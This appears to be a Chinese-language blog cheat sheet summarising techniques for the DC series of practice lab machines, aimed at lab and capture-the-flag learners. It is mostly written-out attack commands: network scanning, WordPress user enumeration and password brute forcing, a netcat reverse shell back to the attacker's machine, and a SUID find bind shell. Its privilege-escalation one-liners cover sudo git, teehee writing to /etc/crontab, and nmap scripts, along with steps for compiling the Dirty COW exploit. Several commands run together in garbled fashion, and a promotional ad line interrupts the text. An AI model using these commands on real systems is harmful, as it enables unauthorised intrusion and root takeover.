DC 系列靶机知识点总结
常用命令和工具:metasploit nmap sqlmap 中国蚁剑 冰蝎 dirsearch dirbuster 等常用工具就不在此介绍了
nmap 192.168.26.0/24
nmap -sS -sV -T4 -A -p- 192.168.26.129
whatweb 是 kali 自带的一个信息搜集工具
whatweb http://dc-2 #常用于信息搜集,获取 cms 和服务器版本等信息
数据库密码 hash 解密工具 john
john password.txt #文件里是 hash 加密后的密码
cewl 是 kali 自带的一个密码字典生成工具
cewl -w dc_passwords.txt http://dc-2 #按照一定规则,对网站爬取生成密码字典并写入到 dc_passwords.txt 中
针对 wordpress 站点可以使用 wpscan 先爆破该网站的用户名
wpscan --ignore-main-redirect --url 192.168.26.130 --enumerate u --force
通过已经 wpscan 扫描到的用户名和 cewl 生成的密码字典可以对目标进行爆破登录
wpscan --ignore-main-redirect --url 192.168.26.130 -U dc-_user.txt -P dc_passwords.txt --force
漏洞搜索:
searchsploit joomla 3.7.0 #搜索 joomla 3.7.0 的漏洞 msfconsole #利用 msf 搜索相关组件漏洞 search joomla 3.7.0
python 交互式 shell
python -c 'import pty;pty.spawn("/bin/bash")' #使用 python 获取交互式 shell,实际上也就是模拟了一个虚拟终端
RCE 反弹 shell 的命令:
nc -lvnp 666 #kali 先监听 666 端口 nc 192.168.26.132 666 -e /bin/bash #在靶机上执行该命令,ip 为 kali 的 IP
SSH 服务相关命令
开启:/etc/init.d/ssh start
重启:/etc/init.d/ssh restart
关闭:/etc/init.d/ssh stop
状态:/etc/init.d/ssh statusssh graham@192.168.26.134 # @符前为用户名 后面为要登录的服务器 IP
目标机器连接 kali 利用 ssh 将 exp 下载到靶机上来
scp >root@192.168.26.20:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/ #靶机上执行 用户名和 IP 是 kali 的 scp /path/local_filename username@IP:/path #kali 上执行 用户名和 IP 是靶机的
涉及到的提权方式:
**Tips:**拿到一个本地普通用户后,往往先要在该用户的家目录下搜索一番,以寻找有用的信息,提权的时候几乎所有的文件操作都在 tmp 目录下,因为其他目录往往没有权限,所以要时刻注意自己当前所在的目录。
find / -user root -perm -4000 -print 2>/dev/null #发现具有 suid 权限的命令
suid 之 find 提权
touch testfind test -exec whoami ;find te -exec netcat -lvp 5556 -e /bin/sh ; //在被攻击服务器上执行>>该命令 监听本地 5555 端口,用于入站连接 netcat xx.xx.xx.xx 5556 // 自己服务器上 使用>nc 输入对方 ip 和端口,去连接,从而获得一个 root 权限的 shell
sudo 提权系列:
sudo -l #查看可以无密码使用 root 权限的命令 sudo 之 git 提权输入以下命令即可提权成功 sudo git help configh!/bin/bash
sudo 之 teehee 提权(方法不唯一)
teehee 命令可以对文件进行写入操作,我们可以借此来提权
利用写入定时任务来提权
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab # 参数 -a,对指定文件进行追加,不覆盖
上面这条命令的意思是在/etc/crontab 下写入定时计划,一分钟后由 root 用户给 /bin/bash 命令加权限(chmod 4777 即开启 suid 和 rwx 权限),这样当我们再执行/bin/bash 的时候就可以获得一个 root 权限的 shell。除此之外还可以利用写入/etc/passwd 文件添加一个有 root 权限的用户来提权。
sudo 之 nmap 提权
我们使用 sudo -l 命令发现我们可以不用密码就能以 root 权限运行 nmap
然后我们可以利用 nmap 来提权
echo 'os.execute("/bin/bash")' > shell #写一个脚本,调用系统命令执行/bin/bashsudo nmap --script=shell
由于我们可以以 root 权限 运行 nmap,然后我们让 nmap 去执行这个 shell 脚本,从而获取到一个 root 权限的 shell。
【一>所有资源获取<一】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记
脏牛提权
upload /root/dcow.cpp 192.168.26.128 /tmp #上传 exp 到靶机的 /tmp 目录下 shellpython -c 'import pty;pty.spawn("/bin/bash")' #优化终端界面,便于操作 cd /tmpchmod +x dcow.cppg++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil##########################################-Wall 一般使用该选项,允许发出 GCC 能够提供的所有有用的警告-pedantic 允许发出 ANSI/ISO C 标准所列出的所有警告-O2 编译器的优化选项的 4 个级别,-O0 表示没有优化,-O1 为缺省值,->O3 优化级别最高-std=c++11 就是用按 C++2011 标准来编译的-pthread 在 Linux 中要用到多线程时,需要链接 pthread 库-o dcow gcc 生成的目标文件,名字为 dcow##########################################./dcow #执行
第三方特定版本插件提权
screen4.5.0、exim 4 等
定时任务提权:
如果定时任务是以 root 权限运行的,并且低权限用户可以修改定时任务的脚本,那么可以尝试追加或者改写定时任务的脚本来提权,例如在脚本后面追加一行反弹 shell 的命令来获取到 root 权限。
其他知识点:
逃逸出 rbash 的一些方法
评论